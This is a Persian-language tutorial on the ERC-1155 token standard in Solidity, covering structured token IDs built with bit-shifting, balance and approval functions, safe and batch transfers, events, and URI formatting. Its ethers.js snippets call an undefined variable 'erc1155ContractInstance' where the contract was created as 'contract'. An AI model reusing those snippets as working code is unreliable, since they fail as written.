استاندارد ERC-1155 در سالیدیتی توضیح می دهد که چگونه می توان توکن های قابل تعویض (Fungible) و غیرقابل تعویض (Non-Fungible) را در یک قرارداد هوشمند واحد ایجاد کرد و در کنار هم به کار گرفت. این روش زمانی که چندین نوع توکن وجود دارد، به شکل قابل توجهی در هزینه های استقرار صرفه جویی می کند.
فرض کنید توسعه دهنده یک بازی هستید و قصد دارید NFTها و توکن های مبتنی بر استاندارد ERC-20 را در پلتفرم خود پیاده سازی کنید. این دارایی ها می توانند شامل آیتم هایی مثل کفش، شمشیر، کلاه یا ارز درون بازی باشند.
اگر از استانداردهای ERC-721 و ERC-20 استفاده کنید، باید برای هر مجموعه از NFTها و توکن ها یک قرارداد جداگانه بنویسید. استقرار این تعداد قرارداد هم زمان بر خواهد بود و هم پرهزینه.
اما اگر بتوانید همه این دارایی ها و توکن ها را در یک قرارداد واحد تعریف و مدیریت کنید، توسعه سیستم بسیار ساده تر و بهینه تر خواهد شد. حتی می توانید مکانیزمی طراحی کنید که امکان تایید یا انتقال چندین NFT را به صورت همزمان فراهم کند.
همین نیاز باعث شد سازمان Enjin که در حوزه NFT و بازی فعالیت می کند، اولین پیشنهاد استاندارد چندتوکنی ERC-1155 را در مخزن گیتهاب اتریوم ثبت کند. در تاریخ ۱۷ ژوئن ۲۰۱۸، بنیاد اتریوم این استاندارد را به صورت رسمی پذیرفت.
در واقع ERC-1155 مسیری کارآمد و منعطف برای مدیریت توکن ها در پروژه های برنامه نویسی مبتنی بر بلاکچین فراهم می کند.
ویژگی های کلیدی ERC-1155 در سالیدیتی
مدیریت انواع مختلف توکن: قابل تعویض و غیرقابل تعویض
برای پشتیبانی از چندین نوع توکن (قابل تعویض و غیرقابل تعویض) در یک قرارداد واحد، پیاده سازی استاندارد ERC-1155 باید هر نوع توکن را با استفاده از یک شناسه عددی uint256
منحصربهفرد از هم جدا کند. این ساختار به قرارداد اجازه می دهد تا ویژگی های اختصاصی هر توکن مانند میزان عرضه، آدرس URI، نام، نماد و سایر اطلاعات را تعریف کند و اطمینان حاصل شود که تنظیمات هر توکن به صورت مستقل باقی می ماند.
در ادامه مثالی از ساختار شناسه توکن در ERC-1155 آورده شده است:
-
Token ID: 0
-
Token ID: 1
-
Token ID: 2
-
…
شناسه های توکن الزامی ندارند که به صورت ترتیبی ایجاد شوند؛ تنها نکته مهم این است که هر شناسه باید منحصربهفرد باشد. این استاندارد مشخص نکرده که شناسه ها باید با چه الگویی تولید شوند، به همین دلیل تابع mint
به صورت رسمی بخشی از مشخصات ERC-1155 نیست.
تعریف قابلیت تعویض (Fungibility)
در این بخش، تفاوت بین توکن های قابل تعویض و غیرقابل تعویض توضیح داده می شود؛ استاندارد ERC-1155 از هر دو نوع توکن پشتیبانی می کند.
- توکن های قابل تعویض (Fungible)
توکن های قابل تعویض، دارایی هایی هستند که با یکدیگر کاملاً یکسان محسوب می شوند، مانند واحدهای یک ارز. در استاندارد ERC-1155، برای تعریف مجموعه ای از این توکن ها کافی است چندین توکن با یک شناسه یکسان تولید (mint) شود.
زمانی که چند توکن شناسه یکسانی داشته باشند، نام و نماد (symbol) یکسانی نیز خواهند داشت. همین ویژگی باعث می شود که این توکن ها رفتاری مشابه با توکن های استاندارد ERC-20 داشته باشند؛ زیرا دارای واحدهای متعدد، مشابه و قابل جایگزینی هستند. تنها تفاوت این است که برخلاف ERC-20، در ERC-1155 امکان تعریف اعشار برای موجودی توکن ها وجود ندارد و تمام مقادیر بهصورت عدد صحیح نمایش داده می شوند. - توکن های غیرقابل تعویض (Non-Fungible)
در مقابل، توکن های غیرقابل تعویض یا همان NFTها در ERC-1155، دارایی هایی کاملاً منحصر به فرد هستند که هر کدام با دیگری تفاوت دارند. برای تعریف این نوع توکن، به هر آیتم منحصر به فرد یک شناسه جداگانه (uint256
) اختصاص داده می شود.
درک این تفاوت بنیادی، یکی از بخش های مهم در آموزش استاندارد ERC-1155 در سالیدیتی است و کمک می کند توسعه دهندگان بتوانند ساختارهای پیچیده تری برای دارایی های دیجیتال در قراردادهای خود طراحی کنند.
چگونه چند توکن غیرقابل تعویض را در یک قرارداد ERC-1155 قرار دهیم؟
زمانی که چند مجموعه NFT را در یک قرارداد ERC-1155 مدیریت می کنیم، اگر برای هر توکن یک شناسه منحصر به فرد و کاملاً تصادفی اختصاص دهیم، شناسایی اینکه یک شناسه مشخص به کدام مجموعه تعلق دارد دشوار خواهد شد.
برای حل این مشکل، می توان شناسه ها را طوری ساختاربندی کرد که اطلاعات مجموعه و آیتم به صورت ترکیبی در یک شناسه رمزگذاری شود. در این روش، کافی است عدد مربوط به مجموعه و عدد مربوط به آیتم را به هم متصل کنیم تا یک شناسه واحد به دست بیاید.
در این ساختار، شناسه توکن uint256
به دو بخش تقسیم می شود:
-
شناسه مجموعه (collection ID): ۱۲۸ بیت بالایی (بیت های پرارزش تر) از شناسه توکن، نمایانگر یک مجموعه خاص هستند.
-
شناسه آیتم (item ID): ۱۲۸ بیت پایینی (بیت های کم ارزش تر) برای نمایش آیتمی خاص در همان مجموعه استفاده می شوند.
با این روش، می توان به سادگی تشخیص داد که هر شناسه توکن به کدام مجموعه تعلق دارد و آیتم آن شناسه کدام مورد از آن مجموعه است. این سیستم، همه توکن های غیرقابل تعویض را با حفظ یکتایی از یکدیگر متمایز می کند.
در تصویر زیر نیز تقسیم شناسه توکن به دو بخش collection ID (مقادیر X) و item ID (مقادیر Y) نمایش داده شده است:
برای رمزگذاری اطلاعات مربوط به مجموعه و آیتم در یک شناسه توکن از نوع uint256
، می توان از عملیات شیفت بیت و جمع استفاده کرد.
شیفت بیت (Bit-Shifting) در سالیدیتی
شیفت بیت به فرایندی گفته می شود که در آن، بیت های صفر به ابتدا یا انتهای یک دنباله بیت اضافه می شوند. این عملیات باعث می شود بیت های موجود به چپ (<<
) یا راست (>>
) منتقل شوند.
با استفاده از شیفت بیت، می توان یک عدد ۱۲۸ بیتی را در ۱۲۸ بیت پرارزش تر (بیت های بالایی) از یک عدد ۲۵۶ بیتی قرار داد. بهطور پیش فرض، اگر یک عدد ۱۲۸ بیتی را به عدد ۲۵۶ بیتی تبدیل کنیم، آن عدد به صورت خودکار در ۱۲۸ بیت کمارزش تر (بخش پایینتر عدد) قرار می گیرد.
به عنوان مثال، فرض کنید عدد دهدهی ۲ را به اندازه ۱۲۸ بیت (یا ۱۶ بایت) به چپ شیفت می دهیم. مقدار جدیدی که به دست می آید، یک عدد ۲۵۶ بیتی خواهد بود که عدد ۲ در بیت های پرارزش تر آن قرار گرفته است.
پس از آنکه عدد دهدهی ۲ را به اندازه ۱۲۸ بیت به چپ شیفت کنیم (2 << 128
)، مقدار جدید برابر خواهد بود با عدد دهدهی:
680564733841876926926749214863536422912
و معادل هگزادسیمال آن:
0x0000000000000000000000000000000200000000000000000000000000000000
با استفاده از این تکنیک شیفت بیت، می توانیم ۱۲۸ بیت کمارزش تر (بخش پایین تر عدد) را با صفر پر کنیم. از آنجا که شناسه های NFT از نوع uint256
ذخیره می شوند، می توان به سادگی شناسه آیتم را به شناسه مجموعهی شیفت شده اضافه کرد.
فرمول ساده زیر این فرایند را نشان می دهد:
1 |
uint256 token_ID = shifted_collection_id + individual_token_id; |
فرض کنید یک قرارداد ERC-1155 شامل دو مجموعه متفاوت از توکن های غیرقابل تعویض باشد: مجموعه CoolPhotos با شناسه ۱ و مجموعه RareSkills با شناسه ۲.
اگر باب بخواهد بررسی کند که آیا مالک آیتمی با شناسه itemID = 7
از مجموعه RareSkills هست یا نه، شناسه معتبر توکن برای این بررسی باید ترکیبی از شناسه مجموعه (collectionID = 2
) و شناسه آیتم (itemID = 7
) باشد.
در این ترکیب، بیت های نارنجی نشان دهنده شناسه مجموعه RareSkills و بیت های سبز بیانگر شناسه آیتم هستند.
نحوه ذخیره و بازیابی موجودی ها در قرارداد ERC-1155
در این مثال، قرارداد ERC-1155 از نگاشت (mapping) تو در تو برای نگهداری موجودی ها استفاده می کند:
1 2 3 4 5 6 7 8 |
// نگاشت تو در تو برای ذخیره موجودی ها // tokenID => owner => balance mapping(uint256 => mapping(address => uint256)) balances; // بازیابی موجودی یک آدرس خاص برای یک شناسه توکن مشخص function balanceOf(address owner, uint256 tokenid) public view returns (uint256) { return balances[tokenid][owner]; } |
balanceOf
را با شناسه توکن (2 << 128) + 7
فراخوانی کند تا وضعیت مالکیت خود را بررسی کند:
1 2 3 4 5 6 7 8 |
uint256 rareSkillsTokenCollectionID = 2 << 128; // شناسه مجموعه: 2 uint256 rsNFT = 7; // شناسه آیتم: 7 // اگر خروجی برابر با 1 باشد، یعنی باب مالک توکن است. در غیر این صورت، 0. uint256 bobBalance = balanceOf( address(Bob), rareSkillsTokenCollectionID + rsNFT // (2 << 128) + 7 ); |
اگر مقدار bobBalance
برابر با ۱ باشد، یعنی باب مالک آیتم با itemID = 7
از مجموعه RareSkills است. نکته بسیار مهم این است که قرارداد باید تضمین کند که عرضه کل (total supply) برای این شناسه توکن از عدد ۱ بیشتر نشود، در غیر این صورت توکن از حالت غیرقابل تعویض خارج شده و به توکن قابل تعویض تبدیل خواهد شد.
بازیابی collectionID و itemID از یک tokenID
در بخش های قبلی، نحوه تولید شناسه توکن با استفاده از عملیات شیفت بیت را بررسی کردیم. اکنون برای استخراج معکوس اطلاعات از شناسه توکن، مراحل زیر انجام می شود:
-
برای به دست آوردن
collectionID
، شناسه توکن را ۱۲۸ بیت به راست شیفت می دهیم. -
برای به دست آوردن
itemID
، شناسه توکن را به ۱۲۸ بیت پایینی تبدیل (cast) می کنیم.
در بخش بعدی، یک مثال کد ارائه می شود که نحوه انجام این عملیات را نشان می دهد:
-
محاسبه شناسه توکن ERC-1155 با داشتن
collectionID
وitemID
-
استخراج
collectionID
وitemID
از شناسه توکن ERC-1155
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
contract A { // 1. محاسبه شناسه توکن (TOKEN ID) function getTokenId( uint256 collectionId, uint256 itemId ) public pure returns (bytes32 tokenId) { // شیفت دادن شناسه مجموعه به چپ به اندازه ۱۲۸ بیت uint256 shiftedCollectionId = collectionId << 128; // جمع کردن شناسه آیتم با شناسه مجموعه شیفت داده شده tokenId = bytes32(shiftedCollectionId + itemId); } // 2. استخراج collectionId و itemId از شناسه توکن function getCollectionIdAndItemId( uint256 tokenId ) public pure returns (uint256 collectionId, uint256 itemId) { // برای به دست آوردن collectionId، شناسه توکن را ۱۲۸ بیت به راست شیفت می دهیم collectionId = tokenId >> 128; // برای به دست آوردن itemId، فقط ۱۲۸ بیت پایین تر را استخراج می کنیم itemId = uint128(tokenId); } } |
تصویر زیر از محیط Remix نحوه تست این توابع را نمایش می دهد:
تکنیک استفاده از شناسه ساختاریافته یکی از روش های رایج برای پیاده سازی چند توکن غیرقابل تعویض در استاندارد ERC-1155 محسوب می شود. دلیل آن هم این است که خود استاندارد ERC-1155 نحوه دقیق ایجاد شناسه ها را مشخص نکرده است و به توسعه دهنده اجازه می دهد این ساختار را با توجه به نیاز پروژه طراحی کند.
اما در کنار این روش، یک پیاده سازی خاص از ERC-1155 با نام ERC-1155D نیز وجود دارد. این نسخه با هدف بهینه سازی مصرف گس در عملیات mint کردن NFTها طراحی شده، به شرطی که قرارداد تنها نیاز به پشتیبانی از یک مجموعه توکن غیرقابل تعویض داشته باشد.
معرفی استاندارد ERC-1155D
ERC-1155D به طور خاص برای توکن های غیرقابل تعویض (مشابه با ERC-721) طراحی شده است، جایی که هر توکن یک شناسه یکتا و یک مالک خاص دارد. این استاندارد کاملاً با ERC-1155 سازگار است و بهصورت کامل از آن تبعیت می کند.
چه زمانی از ERC-1155D استفاده کنیم؟
اگر قرارداد شما فقط نیاز به یک مجموعه NFT دارد (برخلاف مثال قبلی که در آن مجموعه های CoolPhotos و RareSkills به صورت همزمان وجود داشتند)، و قصد دارید تضمین کنید که هر توکن تنها یک نسخه داشته باشد و فقط یک مالک بتواند آن را در اختیار داشته باشد، استفاده از ERC-1155D انتخاب مناسبی خواهد بود.
در نهایت، تمام توکن ها در قالب یک قرارداد واحد مدیریت می شوند و شناسه ها به صورت uint256
تعریف می شوند. اما اینکه چگونه این شناسه ها بین انواع مختلف توکن ها اختصاص یابند، کاملاً به منطق و هدف آن قرارداد بستگی دارد.
توابع اصلی در استاندارد ERC-1155 در سالیدیتی
توابعی که در این بخش معرفی می شوند، بخشی از رابط رسمی (interface) ERC-1155 هستند و هر قراردادی که قصد داشته باشد از این استاندارد پیروی کند، باید آن ها را پیاده سازی کند. قطعه کدی که از هر تابع نمایش داده می شود، مستقیماً از مستندات استاندارد استخراج شده است.
بازیابی موجودی توکن
- balanceOf
در استاندارد ERC-721، تابع balanceOf(address _owner)
تعداد توکن هایی را که یک آدرس مشخص در کل مجموعه در اختیار دارد، برمی گرداند. مثلاً اگر یک آدرس مالک توکن های ۱، ۵ و ۷ باشد، مقدار برگشتی balanceOf(_owner)
عدد ۳ خواهد بود.
اما در ERC-1155، ساختار این تابع متفاوت است. در این استاندارد، تابع balanceOf
طوری طراحی شده که فقط موجودی یک شناسه توکن مشخص برای یک آدرس مشخص را بازیابی می کند، نه تعداد کل توکن ها.
1 2 3 4 5 6 7 |
/** @notice دریافت موجودی توکن برای یک حساب خاص @param _owner آدرس مالک توکن @param _id شناسه توکن موردنظر @return مقدار موجودی مالک برای همان شناسه توکن */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); |
در ERC-1155، یک آدرس می تواند از توکن های مختلف، مقادیر متفاوتی در اختیار داشته باشد. برای مثال، ممکن است فقط یک واحد از توکن با شناسه ۱ و بیست واحد از توکن با شناسه ۵ داشته باشد.
اما برخلاف ERC-721، هیچ تابع مستقیمی برای محاسبه مجموع تعداد توکن هایی که یک آدرس در کل قرارداد ERC-1155 دارد وجود ندارد. تابع balanceOf
تنها مقدار موجودی یک توکن خاص را بررسی می کند و نه تعداد کل توکن هایی که آن آدرس در اختیار دارد.
- balanceOfBatch
استاندارد ERC-1155 یک مکانیزم گروهی (batch) برای بررسی موجودی چندین آدرس و چند شناسه توکن بهصورت همزمان فراهم کرده است. تابع balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
این امکان را فراهم می کند که بهجای فراخوانی جداگانه تابع balanceOf
برای هر آدرس و هر شناسه، همه موارد در یک مرحله بررسی شوند.
1 2 3 4 5 6 7 8 9 10 |
/** @notice بررسی موجودی چندین جفت آدرس و شناسه توکن @param _owners آدرس های مالک توکن @param _ids شناسه های توکن ها @return موجودی هر جفت (مالک، شناسه) به ترتیب */ function balanceOfBatch( address[] calldata _owners, uint256[] calldata _ids ) external view returns (uint256[] memory); |
در استاندارد ERC-1155، هیچ مکانیزم داخلی برای لیست کردن تمام شناسه های موجود در قرارداد وجود ندارد. به عبارت دیگر، نمی توان از داخل قرارداد پرسید که چه شناسه هایی تاکنون صادر شده اند.
برای به دست آوردن این اطلاعات، باید رویدادهای (logs) ثبتشده توسط قرارداد را خارج از زنجیره (off-chain) تجزیه و تحلیل کرد. در بخش های بعدی مقاله، نحوه انجام این کار را بهصورت عملی توضیح می دهیم.
تایید کلی با استفاده از تابع setApprovalForAll
استاندارد ERC-1155 این امکان را فراهم می کند که یک مالک، آدرس دیگری را به عنوان اپراتور تعیین کند تا بتواند در یک تراکنش، مجوز مدیریت همه توکن های او را—بدون توجه به شناسه آنها—دریافت کند. این کار با استفاده از تابع زیر انجام می شود:
1 2 3 4 5 6 7 |
/** @notice فعال یا غیرفعال کردن تایید برای یک شخص ثالث (اپراتور) جهت مدیریت تمام توکن های مالک @dev در صورت موفقیت، باید رویداد ApprovalForAll منتشر شود @param _operator آدرسی که به عنوان اپراتور تایید یا لغو تایید می شود @param _approved اگر true باشد، اپراتور تایید می شود؛ اگر false باشد، تایید لغو می شود */ function setApprovalForAll(address _operator, bool _approved) external; |
نکته بسیار مهمی که باید به آن توجه داشت این است که این تایید شامل تمام توکن هایی است که کاربر در قرارداد ERC-1155 دارد. عملکرد این تابع را می توان با تعیین حداکثر مجوز در استاندارد ERC-20 یا تابع setApprovalForAll
در استاندارد ERC-721 مقایسه کرد.
یعنی پس از تایید اپراتور، او می تواند هر مقدار از هر توکن متعلق به مالک را از طریق قرارداد منتقل کند. بنابراین استفاده از این تابع باید با دقت و درک کامل از پیامدهای آن انجام شود.
انتقال امن (Safe Transfers) در ERC-1155
همانند استاندارد ERC-721، استاندارد ERC-1155 نیز از مکانیزم انتقال امن استفاده می کند تا مطمئن شود گیرنده توکن، صلاحیت دریافت آن را دارد. با این تفاوت که در ERC-1155 فقط انتقال امن پشتیبانی می شود و هیچ نوع دیگری از انتقال مجاز نیست.
- تابع safeTransferFrom
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/** @param _from آدرس فرستنده توکن @param _to آدرس گیرنده توکن @param _id شناسه نوع توکن @param _value مقدار موردنظر برای انتقال @param _data داده اضافی که باید بدون تغییر در فراخوانی onERC1155Received به آدرس گیرنده ارسال شود */ function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data ) external; |
اگر گیرنده یک حساب معمولی (EOA) باشد، تابع safeTransferFrom
بررسی می کند که آدرس مقصد مقدار address(0)
نباشد.
اما اگر گیرنده یک قرارداد هوشمند باشد، تابع safeTransferFrom
موظف است متد زیر را در قرارداد گیرنده صدا بزند:
1 2 3 4 5 6 7 |
onERC1155Received( address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data ) |
1 |
bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) |
به عبارت دیگر، یک توکن ERC-1155 نمی تواند به قراردادی منتقل شود که یا تابع onERC1155Received
را پیاده سازی نکرده باشد، یا این تابع را بهصورت نادرست پیاده سازی کرده باشد.
- تابع safeBatchTransferFrom
استاندارد ERC-1155 امکان انتقال چند توکن مختلف را در یک تراکنش فراهم می کند. این قابلیت به مالکان یا اپراتورها اجازه می دهد مجموعه ای از توکن ها را از یک آدرس مبدأ به یک آدرس مقصد به صورت گروهی منتقل کنند.
این انتقال از طریق تابع safeBatchTransferFrom
انجام می شود:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/** @param _from آدرس مبدأ (فرستنده توکن ها) @param _to آدرس مقصد (گیرنده توکن ها) @param _ids آرایه ای از شناسه های توکن (ترتیب و طول باید با _values برابر باشد) @param _values مقادیر قابل انتقال برای هر شناسه (ترتیب و طول باید با _ids برابر باشد) @param _data داده اضافی بدون قالب مشخص؛ باید بدون تغییر به هوک onERC1155BatchReceived ارسال شود */ function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external; |
1 2 3 4 5 6 7 |
safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) |
1 2 3 4 5 6 7 |
onERC1155BatchReceived( address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) |
1 |
bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")) |
مقایسه SafeTransferFrom و SafeBatchTransferFrom
با استفاده از پیادهسازی OpenZeppelin برای استاندارد ERC-1155، تصویر زیر میزان مصرف گس در دو حالت مختلف را مقایسه می کند:
-
حالت اول، فراخوانی تابع
safeTransferFrom
بهصورت جداگانه در سه مرتبه -
حالت دوم، تجمیع هر سه انتقال در یک تراکنش با استفاده از
safeBatchTransferFrom
با استفاده از safeBatchTransferFrom
، همانطور که در کادر قرمز مشاهده می شود، تنها 132,437 واحد گس مصرف می شود. این مقدار به شکل قابل توجهی کمتر از 189,861 واحد گس است که برای سه فراخوانی جداگانه safeTransferFrom
(نمایش داده شده در کادر آبی) مورد نیاز است.
ساختارهای داده اصلی در ERC-1155
پیادهسازیهای ERC-1155 معمولاً از mapping برای نگهداری وضعیت دادههای اصلی مانند موجودی ها، تاییدیه ها (approvals) و URIها استفاده میکنند. برای مثال، یک قرارداد مبتنی بر ERC-1155 ممکن است متغیرهای ذخیرهسازی زیر را بهکار گیرد:
1 2 3 4 5 |
mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances; mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals; string private _uri; |
موجودی ها (Balances)
موجودی توکن ها در یک نگاشت تو در تو (nested mapping) ذخیره میشوند که دارای دو سطح است:
-
نگاشت بیرونی: کلید آن یک
token ID
است. -
نگاشت داخلی: به هر شناسه، یک نگاشت دیگر نسبت داده شده که آدرس مالک را به مقدار موجودی (
uint256
) مرتبط میسازد.
برای برگرداندن موجودی یک حساب خاص برای یک شناسه توکن مشخص، تابع balanceOf
در این ساختار بهصورت زیر عمل میکند:
1 2 3 |
function balanceOf(address account, uint256 id) public view returns (uint256) { return _balances[id][account]; } |
تاییدیه ها (Approvals)
مشابه با موجودی ها، تاییدیه ها نیز در یک نگاشت تو در تو ذخیره می شوند، چرا که یک حساب ممکن است به چند اپراتور مختلف اجازه مدیریت توکن های خود را بدهد.
کلید نگاشت بیرونی، آدرس مالک است و به یک نگاشت داخلی اشاره می کند که وضعیت تایید هر اپراتور را نگه می دارد.
در ادامه، یک نمونه پیاده سازی از تابع isApprovedForAll
را مشاهده می کنید که وضعیت تایید یک اپراتور را بررسی می کند:
1 2 3 |
function isApprovedForAll(address account, address operator) public view returns (bool) { return _operatorApprovals[account][operator]; } |
ثبت رویدادها (Logging and Events)
استاندارد ERC-1155 تضمین می کند که می توان سوابق دقیقی از وضعیت فعلی توکن ها را از طریق رویدادهایی که در قرارداد هوشمند ثبت می شوند به دست آورد. چرا که هر عملیات mint، burn یا transfer منجر به ثبت یک رویداد می شود.
در ادامه، لیستی از موقعیت هایی که باید منجر به صدور رویداد شوند آمده است:
- در صورتی که یک آدرس به اپراتور دیگری مجوز مدیریت تمام توکن های خود را بدهد یا آن را لغو کند، باید رویداد
ApprovalForAll
صادر شود:
1 |
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); |
- هنگامی که توکن ها از یک آدرس به آدرس دیگر منتقل می شوند—شامل mint و burn—باید یکی از دو رویداد زیر صادر شود:
1 2 3 4 5 |
// وقتی فقط یک توکن منتقل می شود: event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); // وقتی چند توکن بهصورت گروهی منتقل می شوند event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); |
safeBatchTransferFrom
با تنها یک شناسه توکن صدا زده شود، رویداد TransferSingle
صادر می شود. در غیر این صورت، رویداد TransferBatch
منتشر خواهد شد.
- اگر URI مرتبط با متادیتای یک توکن خاص تغییر کند، باید رویداد
URI
منتشر شود:
1 |
event URI(string _value, uint256 indexed _id); |
- شناسه های موجود در یک قرارداد ERC-1155
کد زیر با استفاده از کتابخانه ethers.js
به یک قرارداد ERC-1155 متصل میشود و لیستی از تمام شناسه های توکن (token ID
) را که در رویدادهای TransferSingle
و TransferBatch
منتشر شدهاند، در یک بازه مشخص از بلاک ها استخراج میکند:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
import { ethers } from "ethers"; // نسخه 6 // اتصال به یک ارائهدهنده Ethereum const provider = new ethers.JsonRpcProvider("rpc-url"); // آدرس قرارداد ERC-1155 و ABI مربوطه const erc1155ContractAddress = "YourContractAddress"; const abi = [ // بخشهای مرتبط از ABI استاندارد ERC-1155 "event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)", "event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)", ]; const contract = new ethers.Contract(erc1155ContractAddress, abi, provider); (async (startBlockNumber) => { // دریافت رویدادهای TransferSingle و TransferBatch const singleEvents = await erc1155ContractInstance.queryFilter( "TransferSingle", // نام رویداد startBlockNumber, // بلاک شروع startBlockNumber + 100000 // بلاک پایان ); const batchEvents = await erc1155ContractInstance.queryFilter( "TransferBatch", startBlockNumber, startBlockNumber + 100000 ); const tokenIds = new Set(); // استخراج شناسه ها از رویدادهای TransferSingle singleEvents.forEach((event) => { // استخراج فیلد args const { operator, from, to, id, value } = event.args; // افزودن id به مجموعه tokenIds tokenIds.add(id); }); // استخراج شناسه ها از رویدادهای TransferBatch batchEvents.forEach((event) => { const { operator, from, to, ids, values } = event.args; // اضافه کردن هر شناسه از لیست ids به مجموعه tokenIds ids.forEach((id) => tokenIds.add(id.toString())); }); console.log("Token IDs in existence:", Array.from(tokenIds)); })(); |
- لیست تمام شناسه های توکن که یک کاربر مالک آنهاست
کد زیر تمام شناسه های توکنی را که یک کاربر مالک آنهاست لیست می کند. این کار با بررسی رویدادهای TransferSingle
و TransferBatch
انجام میشود که به آدرس مورد نظر ارسال شده یا از آن خارج شدهاند.
برای دقت بیشتر، مقدار startBlockNumber
باید به بلاکی تنظیم شود که قبل از اولین تعامل آن آدرس با قرارداد بوده باشد.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
async function getUserTokenIds(userAddress, startBlockNumber) { const singleEvents = await erc1155ContractInstance.queryFilter( 'TransferSingle', startBlockNumber, startBlockNumber + 100000 ); const batchEvents = await erc1155ContractInstance.queryFilter( 'TransferBatch', startBlockNumber, startBlockNumber + 100000 ); const balances = {}; // پردازش رویدادهای TransferSingle singleEvents.forEach(event => { const { operator, from, to, id, value } = event.args; if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + parseInt(value.toString()); } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - parseInt(value.toString()); } }); // پردازش رویدادهای TransferBatch batchEvents.forEach(event => { const { operator, from, to, ids, values } = event.args; ids.forEach((id, index) => { const value = parseInt(values[index].toString()); if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + value; } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - value; } }); }); // فیلتر کردن شناسه هایی که موجودی آن ها بیشتر از صفر است const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0); console.log(ownedTokenIds); } |
شناسه های منبع یکنواخت (URIs) در ERC-1155
در استاندارد ERC-1155، تنها یک تابع uri
تعریف شده است. این استاندارد مشخص نمی کند که آیا تابع uri
باید شناسه توکن (token ID) را در نظر بگیرد یا نادیده بگیرد. در نتیجه، نحوه بازگرداندن URI به نحوه پیادهسازی قرارداد بستگی دارد.
برای مثال، اگر پیادهسازی قرارداد بهگونهای باشد که از یک URI مشترک برای تمام توکن ها استفاده شود، میتوان id
را نادیده گرفت و فقط مقدار پایه (_uri
) را برگرداند. در غیر این صورت، میتوان شناسه توکن را به همراه URI پایه ترکیب کرد.
مثال پیادهسازی URI مشترک برای تمام شناسههای توکن
1 2 3 4 5 |
string private _uri; function uri(uint256 /* id */) public view virtual returns (string memory) { return _uri; } |
در این پیادهسازی، تابع uri
همیشه یک مقدار ثابت را بازمیگرداند و شناسه توکن را نادیده میگیرد.
مثال پیادهسازی URI اختصاصی برای هر شناسه توکن
اگر بخواهیم مقدار برگشتی تابع uri
را براساس شناسه توکن تغییر دهیم، استفاده از کتابخانه Strings
بسیار کاربردی خواهد بود. این کتابخانه بهصورت داخلی در زبان سالیدیتی وجود ندارد، بلکه بخشی از مجموعه کتابخانههای OpenZeppelin است.
در پیادهسازی زیر، از این کتابخانه برای تبدیل شناسه توکن (tokenID
) از نوع uint256
به یک رشته هگزادسیمال استفاده شده که بهصورت رشتهای در سالیدیتی رمزگذاری شده است.
در کد زیر مثالی از تغییر URI بر اساس شناسه توکن با استفاده از کتابخانه Strings وجود دارد:
1 2 3 4 5 6 7 8 9 10 11 |
import "@openzeppelin/contracts/utils/Strings.sol"; string private _uri; function uri(uint256 id) public view virtual returns (string memory) { return string(abi.encodePacked( _uri, Strings.toHexString(id, 32), // تبدیل شناسه توکن به رشته هگزادسیمال با طول ثابت ".json" )); } |
تابع uri
یک URI منحصر بهفرد برای هر توکن تولید می کند، به این صورت که شناسه توکن دریافتشده را به انتهای URI پایه اضافه می کند.
برای مثال، اگر URI پایه برابر باشد با: https://token-cdn-domain/ و تابع با شناسه توکن 314592
فراخوانی شود (که معادل هگزادسیمال آن 0x4CCE0
است)، خروجی تابع به شکل زیر خواهد بود:
https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json
استاندارد ERC-1155 الزام می کند که در صورت استفاده از الگوی {id}
در URI، کلاینت ها موظفاند مقدار {id}
را با نسخه هگزادسیمال کوچکشده، بدون پیشوند 0x و با صفرهای پیشوندی برای رسیدن به طول ۶۴ کاراکتر جایگزین کنند.
فرمت این رشته جایگزین باید فقط شامل حروف و ارقام کوچکتر باشد از مجموعه [0-9a-f]
و دقیقاً ۶۴ کاراکتر طول داشته باشد.
این روش جایگزینی شناسه توکن در URI، باعث کاهش قابل توجهی در مصرف حافظه و بهینهسازی ذخیرهسازی در مجموعههای بزرگ از توکن ها میشود؛ چرا که نیازی نیست برای هر توکن URI جداگانهای ذخیره شود، بلکه فقط با ترکیب شناسه با URI پایه میتوان به URI نهایی رسید.
ساختار URIها چگونه است
استاندارد مشخص نمی کند که توکن های ERC-1155 حتماً باید دارای متادیتای URI باشند. با این حال، اگر قرارداد پیادهسازی ERC-1155 برای یک توکن URI تعریف کرده باشد، آن URI باید به یک فایل JSON اشاره داشته باشد که با ساختار “ERC-1155 Metadata URI JSON Schema” مطابقت دارد.
